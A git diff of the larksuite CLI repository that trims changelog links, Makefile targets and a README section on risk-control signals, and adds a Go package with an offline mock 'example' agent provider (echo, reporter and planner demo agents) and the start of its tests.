||||
- route brand-sensitive endpoints through the resolver (#1836)
|
||||
|
||||
### Documentation
|
||||
|
||||
- document OKR block XML guidance (#1648)
|
||||
- refine doubao whiteboard workflow routing (#1841)
|
||||
- clarify Mindnote token handling (#1827)
|
||||
|
||||
### Tests
|
||||
|
||||
- isolate semantic waiver fixtures from wall clock
|
||||
|
||||
### Misc
|
||||
|
||||
- Merge lark sheets development branch (#1833)
|
||||
|
||||
## [v1.0.68] - 2026-07-09
|
||||
|
||||
### Features
|
||||
@@ -1685,15 +1438,6 @@ Bundled AI agent skills for intelligent assistance:
|
||||
- Bilingual documentation (English & Chinese).
|
||||
- CI/CD pipelines: linting, testing, coverage reporting, and automated releases.
|
||||
|
||||
[v1.0.78]: https://github.com/larksuite/cli/releases/tag/v1.0.78
|
||||
[v1.0.77]: https://github.com/larksuite/cli/releases/tag/v1.0.77
|
||||
[v1.0.75]: https://github.com/larksuite/cli/releases/tag/v1.0.75
|
||||
[v1.0.74]: https://github.com/larksuite/cli/releases/tag/v1.0.74
|
||||
[v1.0.73]: https://github.com/larksuite/cli/releases/tag/v1.0.73
|
||||
[v1.0.72]: https://github.com/larksuite/cli/releases/tag/v1.0.72
|
||||
[v1.0.71]: https://github.com/larksuite/cli/releases/tag/v1.0.71
|
||||
[v1.0.70]: https://github.com/larksuite/cli/releases/tag/v1.0.70
|
||||
[v1.0.69]: https://github.com/larksuite/cli/releases/tag/v1.0.69
|
||||
[v1.0.68]: https://github.com/larksuite/cli/releases/tag/v1.0.68
|
||||
[v1.0.67]: https://github.com/larksuite/cli/releases/tag/v1.0.67
|
||||
[v1.0.66]: https://github.com/larksuite/cli/releases/tag/v1.0.66
|
||||
|
||||
20
Makefile
20
Makefile
@@ -23,7 +23,7 @@ PREFIX ?= /usr/local
|
||||
TEST_GOARCH := $(or $(GOARCH),$(shell go env GOARCH))
|
||||
RACE_FLAG := $(if $(filter riscv64,$(TEST_GOARCH)),,-race)
|
||||
|
||||
.PHONY: all build vet fmt-check script-test test unit-test live-skills-test integration-test examples-build quality-gate install uninstall clean fetch_meta gitleaks sidecar-test
|
||||
.PHONY: all build vet fmt-check script-test test unit-test integration-test examples-build quality-gate install uninstall clean fetch_meta gitleaks
|
||||
|
||||
all: test
|
||||
|
||||
@@ -51,27 +51,19 @@ script-test:
|
||||
bash scripts/resolve-changed-from.test.sh
|
||||
bash scripts/ci-workflow.test.sh
|
||||
bash scripts/semantic-review-workflow.test.sh
|
||||
$(NODE) --test scripts/e2e_domains.test.js scripts/fetch_e2e_tat.test.js scripts/install.test.js scripts/release-preflight.test.js scripts/semantic-review-verify-artifact.test.js scripts/pr-quality-summary.test.js scripts/semantic-review-publish.test.js scripts/ci-quality-summary-publish.test.js
|
||||
$(NODE) --test scripts/e2e_domains.test.js scripts/semantic-review-verify-artifact.test.js scripts/pr-quality-summary.test.js scripts/semantic-review-publish.test.js scripts/ci-quality-summary-publish.test.js
|
||||
|
||||
# ./extension/... keeps the public plugin SDK in the default test matrix.
|
||||
unit-test: fetch_meta
|
||||
go test $(RACE_FLAG) -gcflags="all=-N -l" -count=1 \
|
||||
./cmd/... ./internal/... ./shortcuts/... ./extension/...
|
||||
|
||||
live-skills-test: fetch_meta
|
||||
LARKSUITE_CLI_RUN_LIVE_SKILLS_TESTS=1 \
|
||||
go test -v -count=1 ./cmd/update \
|
||||
-run '^TestUpdateCommand_(RealSkillsSyncRewritesState|SkillsSyncColdStart)$$'
|
||||
|
||||
# examples-build keeps the shipped plugin-SDK examples compilable. If this
|
||||
# breaks, the plugin author guide's "go build ./..." path is broken.
|
||||
examples-build:
|
||||
go build ./extension/platform/examples/audit-observer
|
||||
go build ./extension/platform/examples/readonly-policy
|
||||
|
||||
# ./tests/... includes tests/plugin_e2e, which builds ~20 customer-fork
|
||||
# binaries (~1 min warm; a cold module cache also downloads via GOPROXY).
|
||||
# Deliberate: local `make test` exercises the L4 plugin contract by default.
|
||||
integration-test: build
|
||||
go test -v -count=1 ./tests/...
|
||||
|
||||
@@ -113,14 +105,6 @@ uninstall:
|
||||
clean:
|
||||
rm -f $(BINARY)
|
||||
|
||||
# sidecar-test compiles and runs the authsidecar* build-tagged code that the
|
||||
# default CI matrix never sees (they carry //go:build tags).
|
||||
sidecar-test:
|
||||
go build -tags authsidecar -o /dev/null .
|
||||
go test $(RACE_FLAG) -count=1 -tags authsidecar ./extension/credential/sidecar/ ./extension/transport/sidecar/ ./internal/cmdutil/
|
||||
go test $(RACE_FLAG) -count=1 -tags authsidecar_demo ./sidecar/server-demo/
|
||||
go test $(RACE_FLAG) -count=1 -tags authsidecar ./tests/sidecar_e2e/
|
||||
|
||||
# Run secret-leak checks locally before pushing.
|
||||
# Step 1: check-doc-tokens catches realistic-looking example tokens in reference
|
||||
# docs and asks you to use _EXAMPLE_TOKEN placeholders instead.
|
||||
|
||||
23
README.md
23
README.md
@@ -285,29 +285,6 @@ To reduce these risks, the tool enables default security protections at multiple
|
||||
|
||||
We recommend using the Lark/Feishu bot integrated with this tool as a private conversational assistant. Do not add it to group chats or allow other users to interact with it, to avoid abuse of permissions or data leakage.
|
||||
|
||||
To reduce the security risks associated with access token theft, the CLI sends a minimal set of risk-control signals with OpenAPI requests made to exact official Feishu/Lark HTTPS domains. These signals are used to help identify anomalous API activity. This protection is enabled by default. The information sent is limited to:
|
||||
|
||||
- Operating system type: macOS, Windows, or Linux
|
||||
- Device hardware model: for example, Mac17,9
|
||||
|
||||
To disable this protection for the current workspace, run:
|
||||
|
||||
```bash
|
||||
lark-cli config risk-control off
|
||||
```
|
||||
|
||||
To enable this protection for the current workspace, run:
|
||||
|
||||
```bash
|
||||
lark-cli config risk-control on
|
||||
```
|
||||
|
||||
To restore the default policy for the current workspace, run:
|
||||
|
||||
```bash
|
||||
lark-cli config risk-control default
|
||||
```
|
||||
|
||||
Please fully understand all usage risks. By using this tool, you are deemed to voluntarily assume all related responsibilities.
|
||||
|
||||
## Star History
|
||||
|
||||
23
README.zh.md
23
README.zh.md
@@ -286,29 +286,6 @@ lark-cli schema im.messages.delete
|
||||
|
||||
我们建议您将对接本工具的飞书机器人作为私人对话助手使用,请勿将其拉入群聊或允许其他用户与其交互,以避免权限被滥用或数据泄露。
|
||||
|
||||
为降低访问令牌被盗用后的安全风险,CLI 在向飞书/Lark 官方 HTTPS 精确域名发起 OpenAPI 请求时,会随请求发送一组最小化的风控信号,用于辅助识别异常调用行为。该保护默认开启,发送的信息仅包括:
|
||||
|
||||
- 操作系统类型:macOS、Windows 或 Linux
|
||||
- 设备的硬件产品型号:例如 Mac17,9
|
||||
|
||||
如需让当前 workspace 退出该保护,可执行以下命令:
|
||||
|
||||
```bash
|
||||
lark-cli config risk-control off
|
||||
```
|
||||
|
||||
如需开启当前 workspace 的保护,可执行以下命令:
|
||||
|
||||
```bash
|
||||
lark-cli config risk-control on
|
||||
```
|
||||
|
||||
恢复当前 workspace 默认策略可执行:
|
||||
|
||||
```bash
|
||||
lark-cli config risk-control default
|
||||
```
|
||||
|
||||
请您充分知悉全部使用风险,使用本工具即视为您自愿承担相关所有责任。
|
||||
|
||||
## Star History
|
||||
|
||||
402
agents/example/example.go
Normal file
402
agents/example/example.go
Normal file
@@ -0,0 +1,402 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
// Package example is the in-repo agent provider onboarding template and offline
|
||||
// demo backend: a hypothetical example business domain whose data / calls are
|
||||
// entirely in-memory mocks, with zero network. It has three roles:
|
||||
//
|
||||
// 1. A copy-start point for new integrators — copy the package, rename the
|
||||
// scheme, write plain hook funcs, add one line to agent/register.go. There is
|
||||
// no Factory, no Deps, no probe, no Kind field.
|
||||
// 2. The command tree's offline demo backend — the full agent
|
||||
// list/card/send/task/context chain runs for real without any platform config.
|
||||
// 3. A stable mock scheme for cmd-layer tests.
|
||||
//
|
||||
// The whole provider is a declarative agents.Provider value: metadata + a catalog
|
||||
// of agents.AgentSpec units. Each spec's capability set is exactly the hooks it
|
||||
// wires (the framework derives the card matrix from that), so echo (minimal) and
|
||||
// reporter (full) differ by DATA, not by a Factory branch.
|
||||
package example
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
"github.com/larksuite/cli/internal/agents"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
)
|
||||
|
||||
// Provider is the whole declaration. The Catalog set makes this a catalog-type
|
||||
// provider; the framework derives enumeration (agents list example), the
|
||||
// unknown-id error, and each agent's card matrix from this data.
|
||||
func Provider() agents.Provider {
|
||||
return agents.Provider{
|
||||
Scheme: "example",
|
||||
Label: "Example 演示 agent(内存 mock,零网络)",
|
||||
AgentIDSource: "运行 lark-cli agents list example 查看内置演示 agent 及其 agent_ref(无需任何平台配置)",
|
||||
Identities: []agents.IdentitySpec{{Type: agents.IdentityUser}, {Type: agents.IdentityBot}},
|
||||
// RequiredScopes nil: the mock calls no OAPI, so scope preflight always passes.
|
||||
Catalog: []agents.AgentSpec{echoSpec, reporterSpec, plannerSpec},
|
||||
}
|
||||
}
|
||||
|
||||
// echoSpec is the minimal set: it wires Send/GetTask plus the read verbs and
|
||||
// NOTHING else, so its card honestly shows task_cancel / artifact_download /
|
||||
// file_input = false. Capability IS exactly the wired hooks — there is no bool
|
||||
// matrix and no capability-refusal code (the command layer gates unwired hooks).
|
||||
var echoSpec = agents.AgentSpec{
|
||||
ID: "echo",
|
||||
Name: "复读机",
|
||||
Description: "把你发的话原样复读一遍(同一会话续发时带轮次,证明上下文记忆)。最小能力集示范。",
|
||||
Send: agents.SendOp{Handler: echoSend},
|
||||
GetTask: agents.TaskGetOp{Handler: getTask},
|
||||
ListTasks: agents.TaskListOp{Handler: listTasks},
|
||||
ListContexts: agents.ContextListOp{Handler: listContexts},
|
||||
GetContext: agents.ContextGetOp{Handler: getContext},
|
||||
DeleteContext: agents.ContextDeleteOp{Handler: deleteContext},
|
||||
}
|
||||
|
||||
// reporterSpec is the full set: it additionally wires CancelTask +
|
||||
// DownloadArtifact and declares the FileInput/InputRequired behavioral flags. The
|
||||
// difference between the two agents is data you read top-to-bottom, not a branch
|
||||
// inside a Factory.
|
||||
// reporterSendParams is reporter's typed view of its send params — the
|
||||
// BindParams copy-start template. agenttest.CheckParamsBinding locks the tags
|
||||
// against the declaration below in example_test.go.
|
||||
type reporterSendParams struct {
|
||||
ReportFormat string `param:"report_format"`
|
||||
Quarters int64 `param:"quarters"`
|
||||
// Render binds the object param's leaves(点路径/JSON 两通道归一后的
|
||||
// "render.*" 键)——嵌套 struct + tag 即完成拼装。
|
||||
Render renderOpts `param:"render"`
|
||||
}
|
||||
|
||||
type renderOpts struct {
|
||||
Theme string `param:"theme"`
|
||||
Watermark bool `param:"watermark"`
|
||||
}
|
||||
|
||||
var reporterSpec = agents.AgentSpec{
|
||||
ID: "reporter",
|
||||
Name: "报表生成器",
|
||||
Description: "对任意请求产出一份内联 CSV 报表 artifact,示范 artifact 下载与任务取消链路。",
|
||||
FileInput: true,
|
||||
// InputRequired is deliberately NOT declared: reporter never pauses (tasks
|
||||
// are born terminal), and a question-asking flag would obligate an
|
||||
// every-brand CancelTask (§6.8 registration check) — its CancelTask is the
|
||||
// brand-scoping demo below. The HITL demo lives on planner.
|
||||
// Send declares demo business params covering the whole declaration
|
||||
// surface: enum + default (report_format), integer + min/max + default
|
||||
// (quarters). Both optional with defaults, so a bare send behaves exactly
|
||||
// like before — the params exist to be a copy-start template and to make
|
||||
// the validation/card/meta.next chain exercisable offline.
|
||||
Send: agents.SendOp{
|
||||
Params: []agents.CardParam{
|
||||
{Name: "report_format", Enum: []string{"csv", "xlsx"}, Default: "csv",
|
||||
Desc: "报表输出格式"},
|
||||
{Name: "quarters", Type: "integer", Min: agents.Float(1), Max: agents.Float(12), Default: "4",
|
||||
Desc: "回溯季度数"},
|
||||
// object 参数演示:点路径 --param render.theme=dark 或 JSON 整值
|
||||
// --param render='{"theme":"dark"}' 两通道等价,框架归一后 hook 只见
|
||||
// 平铺 "render.*" 键。
|
||||
{Name: "render", Type: "object", Desc: "渲染选项", Fields: []agents.CardParam{
|
||||
{Name: "theme", Enum: []string{"light", "dark"}, Default: "light", Desc: "配色主题"},
|
||||
{Name: "watermark", Type: "boolean", Default: "false", Desc: "是否加水印"},
|
||||
}},
|
||||
},
|
||||
Handler: reporterSend,
|
||||
},
|
||||
GetTask: agents.TaskGetOp{Handler: getTask},
|
||||
ListTasks: agents.TaskListOp{Handler: listTasks},
|
||||
ListContexts: agents.ContextListOp{Handler: listContexts},
|
||||
GetContext: agents.ContextGetOp{Handler: getContext},
|
||||
DeleteContext: agents.ContextDeleteOp{Handler: deleteContext},
|
||||
// task_cancel is scoped to feishu — a real brand-scoped capability demo:
|
||||
// under lark reporter's card shows task_cancel=false and
|
||||
// `agents task cancel example:reporter` is gated with unavailable_for_brand
|
||||
// (the whole agent stays visible under both brands — only this op is scoped).
|
||||
CancelTask: agents.TaskCancelOp{Brands: []core.LarkBrand{core.BrandFeishu}, Handler: cancelTask},
|
||||
DownloadArtifact: agents.ArtifactDownloadOp{Handler: downloadArtifact},
|
||||
}
|
||||
|
||||
// plannerSpec demonstrates the input_required HITL flow (design doc §3-§8):
|
||||
// the first send pauses on a THREE-question group (single-select + free-text +
|
||||
// multi-select with a skip option), answered atomically in one send via
|
||||
// --answer; a second submission gets failed_precondition + resolved_answers.
|
||||
// It wires CancelTask because a question-asking agent must be walkaway-able
|
||||
// (§6.8 — Register enforces this), and the read verbs; not artifact.
|
||||
var plannerSpec = agents.AgentSpec{
|
||||
ID: "planner",
|
||||
Name: "报表规划器",
|
||||
Description: "先弹一组确认问题(单选/自由文本/多选,input_required),你用 --answer 一次答清后再出报表。示范 HITL 问题组链路。",
|
||||
InputRequired: true,
|
||||
Send: agents.SendOp{Handler: plannerSend},
|
||||
GetTask: agents.TaskGetOp{Handler: getTask},
|
||||
ListTasks: agents.TaskListOp{Handler: listTasks},
|
||||
CancelTask: agents.TaskCancelOp{Handler: cancelTask},
|
||||
ListContexts: agents.ContextListOp{Handler: listContexts},
|
||||
GetContext: agents.ContextGetOp{Handler: getContext},
|
||||
DeleteContext: agents.ContextDeleteOp{Handler: deleteContext},
|
||||
}
|
||||
|
||||
// plannerSend pauses a fresh request on a question group, or applies the
|
||||
// --answer submission (continuing the group's own task). A bare --text aimed
|
||||
// at the paused task is rejected with guidance — NEVER forked into a sibling
|
||||
// task (§6.5): the group contains select questions, so free text cannot be
|
||||
// consumed as the whole answer here.
|
||||
func plannerSend(ctx context.Context, rt agents.Runtime, in agents.SendInput) (*agents.AgentTask, error) {
|
||||
if len(in.Answers) > 0 {
|
||||
if in.TaskID == "" {
|
||||
// The CLI guard already enforces this; the belt holds for direct hook calls.
|
||||
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"回答问题组需提供 --task-id").WithParam("--task-id")
|
||||
}
|
||||
task, err := store.answerGroup(rt.AgentID(), in.ContextID, in.TaskID, in.Answers, in.Text)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &task, nil
|
||||
}
|
||||
if in.TaskID != "" {
|
||||
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"该任务在等待问题组答复,且组内含选择题,无法用 --text 自由作答").
|
||||
WithParam("--text").
|
||||
WithHint("用 lark-cli agents task get example:%s %s 查看问题组,按 meta.next 的 --answer 模板作答", rt.AgentID(), in.TaskID)
|
||||
}
|
||||
ctxID := in.ContextID
|
||||
if ctxID == "" {
|
||||
var err error
|
||||
ctxID, err = store.createContext(rt.AgentID(), truncateTitle(in.Text))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
// Mint the group's question ids at CREATION time with a fresh per-group
|
||||
// suffix (§6.2): the group is persisted with these ids and every later
|
||||
// task get echoes them verbatim; a successor group would mint a different
|
||||
// suffix, which is the stale-retry protection.
|
||||
questions := []agents.Question{
|
||||
{Question: "按什么维度拆分?", Options: []agents.Option{
|
||||
{OptionID: "by_region", Label: "按大区", Description: "华东/华北/华南汇总"},
|
||||
{OptionID: "by_category", Label: "按品类", Description: "SKU 一级类目"},
|
||||
}},
|
||||
{Question: "时间范围?"},
|
||||
{Question: "包含哪些区域?", MultiSelect: true, Options: []agents.Option{
|
||||
{OptionID: "east", Label: "华东"},
|
||||
{OptionID: "north", Label: "华北"},
|
||||
{OptionID: "skip", Label: "由 agent 决定", Description: "与其它选项互斥"},
|
||||
}},
|
||||
}
|
||||
agents.MintQuestionIDs(questions, newGroupSuffix())
|
||||
task, err := store.createTask(rt.AgentID(), ctxID, func(int) agents.AgentTask {
|
||||
return agents.AgentTask{
|
||||
TaskID: newID("task"),
|
||||
ContextID: ctxID,
|
||||
State: agents.StateInputRequired,
|
||||
Messages: []agents.Message{
|
||||
{Role: "user", Parts: []agents.Part{{Type: "text", Text: in.Text}}},
|
||||
{Role: "agent", Parts: []agents.Part{{Type: "text", Text: "生成报表前需确认以下口径。"}}},
|
||||
},
|
||||
InputRequired: &agents.InputRequired{
|
||||
Label: "报表生成确认",
|
||||
Description: "生成前需确认以下口径",
|
||||
Questions: questions,
|
||||
},
|
||||
}
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &task, nil
|
||||
}
|
||||
|
||||
// ── Hooks: plain funcs. The addressed agent comes from rt.AgentID() (request
|
||||
// data, replacing the old state.agentID). The mock ignores rt's network
|
||||
// methods (CallAPI/CallMultipart/IsBot). There is NO catalog.Lookup guard
|
||||
// anywhere — the framework's LookupSpec validated ref→spec offline before
|
||||
// dispatch, so an unknown id never reaches a hook. ──
|
||||
|
||||
// echoSend echoes the input; from round 2 on it appends a round marker to prove
|
||||
// across commands that context memory works.
|
||||
func echoSend(ctx context.Context, rt agents.Runtime, in agents.SendInput) (*agents.AgentTask, error) {
|
||||
return newTurn(rt.AgentID(), in, func(round int) (string, []agents.Artifact) {
|
||||
reply := in.Text
|
||||
if round > 1 {
|
||||
reply = fmt.Sprintf("%s(第 %d 轮)", in.Text, round)
|
||||
}
|
||||
return reply, nil
|
||||
})
|
||||
}
|
||||
|
||||
// reporterSend produces a fixed inline CSV artifact for any request. It reads
|
||||
// its demo params through BindParams — the typed, compile-checked consumption
|
||||
// template (rt.Params() raw lookups work too but are typo-prone). With the
|
||||
// declaration defaults (csv/4) the reply is byte-identical to the historical
|
||||
// one; a hook invoked outside the framework (unit tests calling it directly)
|
||||
// sees an empty param map and the same historical reply.
|
||||
func reporterSend(ctx context.Context, rt agents.Runtime, in agents.SendInput) (*agents.AgentTask, error) {
|
||||
p, err := agents.BindParams[reporterSendParams](rt)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return newTurn(rt.AgentID(), in, func(round int) (string, []agents.Artifact) {
|
||||
reply := "报表已生成:quarterly_report.csv(见 artifacts,用 task get --artifact <id> -o <path> 下载)"
|
||||
if p.ReportFormat != "" && p.ReportFormat != "csv" {
|
||||
reply = fmt.Sprintf("报表已生成(%s 格式,回溯 %d 个季度):quarterly_report.%s(见 artifacts,用 task get --artifact <id> -o <path> 下载)",
|
||||
p.ReportFormat, p.Quarters, p.ReportFormat)
|
||||
}
|
||||
if p.Render.Watermark {
|
||||
reply = fmt.Sprintf("%s(%s 主题,含水印)", reply, p.Render.Theme)
|
||||
}
|
||||
if n := len(in.Files); n > 0 {
|
||||
reply = fmt.Sprintf("已收到 %d 个附件;%s", n, reply)
|
||||
}
|
||||
// Name/Mime 在 GetTask 阶段就可见(下载前),调用方能直接据此定 -o 后缀,
|
||||
// 不必先猜再靠下载后的 suggested_name 纠正——真实 provider 应尽量同样前置。
|
||||
ext, mime := "csv", "text/csv"
|
||||
if p.ReportFormat == "xlsx" {
|
||||
ext, mime = "xlsx", "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet"
|
||||
}
|
||||
return reply, []agents.Artifact{{ID: newID("art"), Kind: "text", Name: "quarterly_report." + ext, Mime: mime}}
|
||||
})
|
||||
}
|
||||
|
||||
// newTurn factors the shared store flow: start/continue a context, then create a
|
||||
// task whose body the caller builds per round. The mock task is instantly
|
||||
// terminal, so there is no "feed input to a running task" scenario — continuing
|
||||
// via --task-id returns failed_precondition (the request is valid but the target
|
||||
// state does not satisfy it, so the AI knows to start a new task instead).
|
||||
func newTurn(agentID string, in agents.SendInput, build func(round int) (reply string, artifacts []agents.Artifact)) (*agents.AgentTask, error) {
|
||||
if len(in.Answers) > 0 {
|
||||
// No pending question group exists on a born-terminal agent — reject
|
||||
// loudly rather than silently dropping the answers (§6.4's no-silent-drop
|
||||
// bottom line; reporter passes the CLI's input_required capability gate,
|
||||
// so this is reachable there).
|
||||
return nil, errs.NewValidationError(errs.SubtypeFailedPrecondition,
|
||||
"该 agent 没有待答的问题组").
|
||||
WithParam("--answer").
|
||||
WithHint("--answer 只用于回答停在 input_required 的任务;起新任务用 --text")
|
||||
}
|
||||
if in.TaskID != "" {
|
||||
return nil, errs.NewValidationError(errs.SubtypeFailedPrecondition,
|
||||
"example 的任务发出即完成(终态),无法向已有任务续发").
|
||||
WithParam("--task-id").
|
||||
WithHint("去掉 --task-id,用 --context-id 在同一会话起新一轮任务")
|
||||
}
|
||||
ctxID := in.ContextID
|
||||
if ctxID == "" {
|
||||
var err error
|
||||
ctxID, err = store.createContext(agentID, truncateTitle(in.Text))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
// createTask validates context ownership under the lock (an unknown /
|
||||
// cross-agents context id is rejected inside with a typed error), computes the
|
||||
// round, and inserts atomically.
|
||||
task, err := store.createTask(agentID, ctxID, func(round int) agents.AgentTask {
|
||||
reply, artifacts := build(round)
|
||||
return agents.AgentTask{
|
||||
TaskID: newID("task"),
|
||||
ContextID: ctxID,
|
||||
State: agents.StateCompleted,
|
||||
IsTerminal: true,
|
||||
Messages: []agents.Message{
|
||||
{Role: "user", Parts: []agents.Part{{Type: "text", Text: in.Text}}},
|
||||
{Role: "agent", Parts: []agents.Part{{Type: "text", Text: reply}}},
|
||||
},
|
||||
Artifacts: artifacts,
|
||||
}
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &task, nil
|
||||
}
|
||||
|
||||
func getTask(ctx context.Context, rt agents.Runtime, taskID string) (*agents.AgentTask, error) {
|
||||
task, err := store.getTask(rt.AgentID(), taskID)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &task, nil
|
||||
}
|
||||
|
||||
func listTasks(ctx context.Context, rt agents.Runtime, contextID string, page agents.PageParams) ([]agents.TaskSummary, agents.PageInfo, error) {
|
||||
tasks, info := store.listTasks(rt.AgentID(), contextID, page)
|
||||
return tasks, info, nil
|
||||
}
|
||||
|
||||
func listContexts(ctx context.Context, rt agents.Runtime, page agents.PageParams) ([]agents.ContextSummary, agents.PageInfo, error) {
|
||||
ctxs, info := store.listContexts(rt.AgentID(), page)
|
||||
return ctxs, info, nil
|
||||
}
|
||||
|
||||
func getContext(ctx context.Context, rt agents.Runtime, ctxID string) (*agents.ContextDetail, error) {
|
||||
return store.getContext(rt.AgentID(), ctxID)
|
||||
}
|
||||
|
||||
func deleteContext(ctx context.Context, rt agents.Runtime, ctxID string) error {
|
||||
return store.deleteContext(rt.AgentID(), ctxID)
|
||||
}
|
||||
|
||||
// cancelTask is wired only for reporter, so echo never reaches it (the command
|
||||
// layer gates echo's cancel on the nil field). The mock task is completed the
|
||||
// moment it is sent, so canceling a terminal task returns a failed_precondition
|
||||
// typed error rather than pretending success.
|
||||
func cancelTask(ctx context.Context, rt agents.Runtime, taskID string) error {
|
||||
task, err := store.getTask(rt.AgentID(), taskID)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if task.State.IsTerminal() {
|
||||
return errs.NewValidationError(errs.SubtypeFailedPrecondition,
|
||||
"任务 '%s' 已处于终态 %s,无法取消", taskID, task.State).
|
||||
WithHint("终态任务不可取消;用 lark-cli agents task get example:%s %s 查看结果", rt.AgentID(), taskID)
|
||||
}
|
||||
return store.setTaskState(taskID, agents.StateCanceled)
|
||||
}
|
||||
|
||||
// reportCSV is the fixed content of the reporter artifact (inline Bytes type).
|
||||
const reportCSV = "quarter,revenue,cost,margin\n" +
|
||||
"2026Q1,1250,830,0.336\n" +
|
||||
"2026Q2,1410,905,0.358\n"
|
||||
|
||||
// downloadArtifact is wired only for reporter (echo is gated on the nil field).
|
||||
// It returns inline Bytes; a real provider would fill URL instead and let the
|
||||
// command layer SSRF-validate + fetch.
|
||||
//
|
||||
// Teaching point (suggested_name): ArtifactData.Name is the server-suggested
|
||||
// file name, echoed back only as a reference for choosing -o — it is untrusted
|
||||
// and never participates in constructing the local save path (the save path is
|
||||
// always -o/SafeOutputPath).
|
||||
func downloadArtifact(ctx context.Context, rt agents.Runtime, taskID, artifactID string) (*agents.ArtifactData, error) {
|
||||
task, err := store.getTask(rt.AgentID(), taskID)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for _, a := range task.Artifacts {
|
||||
if a.ID == artifactID {
|
||||
return &agents.ArtifactData{
|
||||
Name: "quarterly_report.csv",
|
||||
Mime: "text/csv",
|
||||
Bytes: []byte(reportCSV),
|
||||
}, nil
|
||||
}
|
||||
}
|
||||
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"任务 '%s' 名下没有产物 '%s'", taskID, artifactID).
|
||||
WithHint("运行 lark-cli agents task get example:%s %s 查看该任务的 artifacts", rt.AgentID(), taskID)
|
||||
}
|
||||
|
||||
// truncateTitle takes the first few characters of the message as the context
|
||||
// title (truncated by rune to avoid cutting a character in half).
|
||||
func truncateTitle(s string) string {
|
||||
const max = 20
|
||||
r := []rune(s)
|
||||
if len(r) <= max {
|
||||
return s
|
||||
}
|
||||
return string(r[:max]) + "…"
|
||||
}
|
||||
969
agents/example/example_test.go
Normal file
969
agents/example/example_test.go
Normal file
@@ -0,0 +1,969 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package example
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
"github.com/larksuite/cli/internal/agents"
|
||||
"github.com/larksuite/cli/internal/agents/agenttest"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
)
|
||||
|
||||
// Register the example provider for this test binary (provider packages are pure
|
||||
// data now — the top-level agent package's init does this in production, but that
|
||||
// package cannot be imported here without an import cycle).
|
||||
func init() { agents.Register(Provider()) }
|
||||
|
||||
// fakeRuntime is the offline test runtime: it supplies the addressed agent_id
|
||||
// and no-ops the network methods (the mock hooks only ever read AgentID()).
|
||||
type fakeRuntime struct {
|
||||
agentID string
|
||||
params map[string]string
|
||||
}
|
||||
|
||||
func (r fakeRuntime) AgentID() string { return r.agentID }
|
||||
func (r fakeRuntime) IsBot() bool { return false }
|
||||
func (r fakeRuntime) Params() map[string]string { return r.params }
|
||||
func (r fakeRuntime) CallAPI(context.Context, string, string, map[string]string, any) (json.RawMessage, error) {
|
||||
return nil, nil
|
||||
}
|
||||
func (r fakeRuntime) CallMultipart(context.Context, string, string, map[string]string, []agents.FilePart) (json.RawMessage, error) {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
// swapStore replaces the package-level store with an isolated instance pointing at
|
||||
// t.TempDir, so tests do not pollute each other or the local demo snapshot.
|
||||
func swapStore(t *testing.T) {
|
||||
t.Helper()
|
||||
old := store
|
||||
store = newMemoryStore(filepath.Join(t.TempDir(), "state.json"))
|
||||
t.Cleanup(func() { store = old })
|
||||
}
|
||||
|
||||
// TestConformance runs the shared conformance suite for every catalog entry.
|
||||
func TestConformance(t *testing.T) {
|
||||
agenttest.RunConformance(t, "example", "echo")
|
||||
}
|
||||
|
||||
func TestConformancePlanner(t *testing.T) {
|
||||
agenttest.RunConformance(t, "example", "planner")
|
||||
}
|
||||
|
||||
func TestConformanceReporter(t *testing.T) {
|
||||
agenttest.RunConformance(t, "example", "reporter")
|
||||
}
|
||||
|
||||
// TestCapabilityMatrixDiverges pins the deliberate difference between the two
|
||||
// agents, derived purely from which hooks each spec wires.
|
||||
func TestCapabilityMatrixDiverges(t *testing.T) {
|
||||
// Under feishu (default), reporter's feishu-scoped task_cancel is live, so the
|
||||
// historical full matrix holds.
|
||||
ec := agents.DeriveCapabilities(&echoSpec, core.BrandFeishu)
|
||||
rc := agents.DeriveCapabilities(&reporterSpec, core.BrandFeishu)
|
||||
if ec.ArtifactDownload || ec.FileInput || ec.TaskCancel {
|
||||
t.Errorf("echo should be the minimal set (no artifact/file/cancel), got %+v", ec)
|
||||
}
|
||||
if !ec.ContextList || !ec.ContextGet || !ec.ContextDelete || !ec.TaskGet || !ec.TaskList {
|
||||
t.Errorf("echo should support context_list/get/delete + task_get/task_list, got %+v", ec)
|
||||
}
|
||||
if !(rc.ArtifactDownload && rc.FileInput && rc.TaskCancel && rc.ContextList && rc.ContextGet && rc.ContextDelete && rc.TaskGet && rc.TaskList) {
|
||||
t.Errorf("reporter should have everything but input_required enabled, got %+v", rc)
|
||||
}
|
||||
if rc.InputRequired {
|
||||
t.Error("reporter never pauses — input_required must be false (its brand-scoped CancelTask would otherwise violate the §6.8 registration check)")
|
||||
}
|
||||
}
|
||||
|
||||
// TestEchoUnwiredCapabilities verifies the new model: echo simply leaves
|
||||
// CancelTask / DownloadArtifact unwired and FileInput false — no refusal code.
|
||||
func TestEchoUnwiredCapabilities(t *testing.T) {
|
